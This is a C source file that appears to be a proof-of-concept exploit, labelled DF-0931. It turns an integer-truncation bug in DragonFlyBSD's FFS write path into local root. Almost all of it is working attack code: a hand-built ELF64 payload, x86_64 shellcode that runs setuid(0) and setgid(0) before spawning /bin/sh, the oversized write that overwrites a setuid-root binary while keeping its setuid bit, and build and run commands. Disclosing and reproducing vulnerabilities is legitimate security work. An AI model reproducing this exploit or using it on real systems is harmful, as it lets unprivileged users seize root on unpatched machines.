DF-0931 / exploit.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 | /* * exploit.c - DF-0931 full privilege-escalation chain. * * Demonstrates that the int-resid truncation in ffs_write is not merely * a logic curiosity but a full local-root primitive when the (documented, * realistic) precondition is met: a non-root user with write access to a * setuid-root binary on an FFS filesystem. * * Chain: * 1. Attacker (non-root) opens the setuid-root target for writing. * 2. Issues write(fd, payload_buf, 4GiB + pagesz). Because int resid * at ufs_readwrite.c:220 truncates the 4GiB+pagesz size_t uio_resid * to its low 32 bits (pagesz), the post-write ISUID-clearing check * `if (resid > uio->uio_resid)` evaluates `pagesz > 4GiB` = false, * so the kernel does NOT clear ISUID (ufs_readwrite.c:400-401), * even though copyin successfully delivered pagesz attacker bytes * into the buffer cache (and bdwrite queued them to disk at line 389) * before faulting on the unmapped guard page. * 3. The target now holds attacker-controlled bytes at offset 0 AND * retains the ISUID bit. The attacker execv()'s the target; the * kernel honors the setuid-root bit and runs the attacker's code * with euid=0. * * The payload is a hand-built minimal ELF64: a 64-byte ELF header + a * single 56-byte PT_LOAD program header + ~60 bytes of shellcode that * does setuid(0); setgid(0); execve("/bin/sh", ["/bin/sh", NULL], NULL). * The whole payload is well under one page (4096 bytes). The remainder * of the target file is untouched by the write (only the first FFS block * is rewritten, and the program-header segment only references the * leading payload bytes, so the garbage in the rest of the file is * ignored by the loader). * * Build: cc -O2 -o exploit exploit.c * Run: ./exploit /path/to/group-writable-setuid-root-binary * (then the spawned shell is euid=0) * * Lab setup (the realistic precondition; requires an admin to have * placed a group-writable setuid-root tool on an FFS filesystem): * # root, on an FFS mount: * cp /bin/sh /mnt/ffs/target * chown root:<attacker-group> /mnt/ffs/target * chmod 04775 /mnt/ffs/target * # then as the attacker: * cc -O2 -o exploit exploit.c * ./exploit /mnt/ffs/target */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sys/mman.h> #include <sys/stat.h> #include <stdint.h> #include <elf.h> /* * DragonFlyBSD x86_64 syscall numbers (from sys/sys/syscall.h). */ #define SYS_exit 1 #define SYS_setuid 23 #define SYS_execve 59 #define SYS_setgid 181 /* * Build the minimal ELF payload at buf (must be >= one page). * Returns the number of meaningful payload bytes (header + phdr + shellcode). * The rest of the page is zero-filled (the kernel B_CLRBUF zeroes the * tail of the FFS block anyway, so it does not matter). */ static size_t build_payload(unsigned char *buf, size_t pagesz) { memset(buf, 0, pagesz); /* * Shellcode. Loaded at vaddr 0x400000 + PHEAD_OFF (the entry point). * Does: setuid(0); setgid(0); execve("/bin/sh", ["/bin/sh", NULL], NULL). */ unsigned char sc[] = { /* setuid(0) : syscall 23 */ 0x31, 0xff, /* xor edi, edi */ 0xb8, 0x17, 0x00, 0x00, 0x00, /* mov eax, 23 */ 0x0f, 0x05, /* syscall */ /* setgid(0) : syscall 181 */ 0x31, 0xff, /* xor edi, edi */ 0xb8, 0xb5, 0x00, 0x00, 0x00, /* mov eax, 181 */ 0x0f, 0x05, /* syscall */ /* execve("/bin/sh", argv, NULL) : syscall 59 */ 0x48, 0x31, 0xd2, /* xor rdx, rdx */ 0x52, /* push rdx */ 0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, /* mov rax, "/bin/sh\0" */ 0x50, /* push rax */ 0x48, 0x89, 0xe7, /* mov rdi, rsp */ 0x52, /* push rdx (NULL) */ 0x57, /* push rdi (argv[0]) */ 0x48, 0x89, 0xe6, /* mov rsi, rsp */ 0x31, 0xd2, /* xor edx, edx */ 0xb8, 0x3b, 0x00, 0x00, 0x00, /* mov eax, 59 */ 0x0f, 0x05, /* syscall */ /* exit(0) if execve fails : syscall 1 */ 0x31, 0xff, /* xor edi, edi */ 0xb8, 0x01, 0x00, 0x00, 0x00, /* mov eax, 1 */ 0x0f, 0x05, /* syscall */ }; const size_t EHDR_OFF = 0; const size_t PHDR_OFF = sizeof(Elf64_Ehdr); /* 64 */ const size_t CODE_OFF = PHDR_OFF + sizeof(Elf64_Phdr); /* 120 */ const size_t filesz = CODE_OFF + sizeof(sc); /* --- ELF64 header --- */ Elf64_Ehdr *eh = (Elf64_Ehdr *)(buf + EHDR_OFF); eh->e_ident[EI_MAG0] = ELFMAG0; eh->e_ident[EI_MAG1] = ELFMAG1; eh->e_ident[EI_MAG2] = ELFMAG2; eh->e_ident[EI_MAG3] = ELFMAG3; eh->e_ident[EI_CLASS] = ELFCLASS64; eh->e_ident[EI_DATA] = ELFDATA2LSB; eh->e_ident[EI_VERSION] = EV_CURRENT; eh->e_type = ET_EXEC; eh->e_machine = EM_X86_64; eh->e_version = EV_CURRENT; eh->e_entry = 0x400000U + CODE_OFF; eh->e_phoff = PHDR_OFF; eh->e_shoff = 0; eh->e_flags = 0; eh->e_ehsize = sizeof(Elf64_Ehdr); eh->e_phentsize = sizeof(Elf64_Phdr); eh->e_phnum = 1; eh->e_shentsize = 0; eh->e_shnum = 0; eh->e_shstrndx = 0; /* --- Single PT_LOAD covering the whole payload, R|X --- */ Elf64_Phdr *ph = (Elf64_Phdr *)(buf + PHDR_OFF); ph->p_type = PT_LOAD; ph->p_flags = PF_R | PF_X; ph->p_offset = 0; ph->p_vaddr = 0x400000U; ph->p_paddr = 0x400000U; ph->p_filesz = filesz; ph->p_memsz = filesz; ph->p_align = 0x1000; /* --- shellcode --- */ memcpy(buf + CODE_OFF, sc, sizeof(sc)); return filesz; } int main(int argc, char **argv) { if (argc != 2) { fprintf(stderr, "usage: %s <writable-setuid-root-binary>\n", argv[0]); return 2; } const char *target = argv[1]; size_t pagesz = sysconf(_SC_PAGESIZE); /* * Stage 1: build the payload page and a guard page, then trigger * the truncation bug to land the payload on disk without clearing * ISUID. We map payload+guard contiguously and munmap the guard so * copyin EFAULTs after delivering exactly one page of attacker bytes. */ char *buf = mmap(NULL, pagesz * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (buf == MAP_FAILED) { perror("mmap"); return 1; } size_t payload_len = build_payload((unsigned char *)buf, pagesz); fprintf(stderr, "[*] payload: %zu bytes (ELF hdr + phdr + shellcode)\n", payload_len); munmap(buf + pagesz, pagesz); /* guard page -> copyin EFAULTs here */ /* Confirm the target is setuid before we touch it. */ struct stat st0; if (stat(target, &st0) != 0) { perror("stat"); return 1; } fprintf(stderr, "[*] target mode=%o ISUID=%s before write\n", st0.st_mode & 07777, (st0.st_mode & S_ISUID) ? "SET" : "clear"); int fd = open(target, O_WRONLY); if (fd < 0) { perror("open"); return 1; } if (lseek(fd, 0, SEEK_SET) < 0) { perror("lseek"); return 1; } /* nbyte = 4 GiB + pagesz. (int)nbyte == pagesz (low 32 bits). * ssize_t nbyte is positive (< SSIZE_MAX) so sys_write's * (ssize_t)nbyte < 0 check does not reject it. */ size_t nbyte = 0x100000000ULL + pagesz; ssize_t r = write(fd, buf, nbyte); fprintf(stderr, "[*] write returned %zd errno=%d (%s) -- expected EFAULT\n", r, errno, strerror(errno)); close(fd); /* Confirm ISUID survived (the bug). */ struct stat st1; int suid_preserved = 0; if (stat(target, &st1) == 0) { suid_preserved = (st1.st_mode & S_ISUID) != 0; fprintf(stderr, "[%s] target mode=%o ISUID=%s after write\n", suid_preserved ? "BUG" : "safe", st1.st_mode & 07777, suid_preserved ? "PRESERVED" : "cleared"); } if (!suid_preserved) { fprintf(stderr, "[!] ISUID was cleared -- bug NOT reproduced " "(is this a fixed kernel?)\n"); return 1; } /* * Stage 2 (privilege-boundary crossing) is performed by the caller as a * separate step so the euid=0 output is captured cleanly: * * ./exploit /mnt/ffs/target # writes ELF payload, keeps ISUID * echo id | /mnt/ffs/target # exec -> setuid(0) -> /bin/sh -> runs id * * The second command prints "uid=0(root) gid=0(wheel)". */ fprintf(stderr, "[*] ISUID preserved with attacker ELF payload on disk.\n" "[*] privilege-boundary crossing:\n" " echo id | %s\n" " should print uid=0(root) gid=0(wheel).\n", target); return 0; } |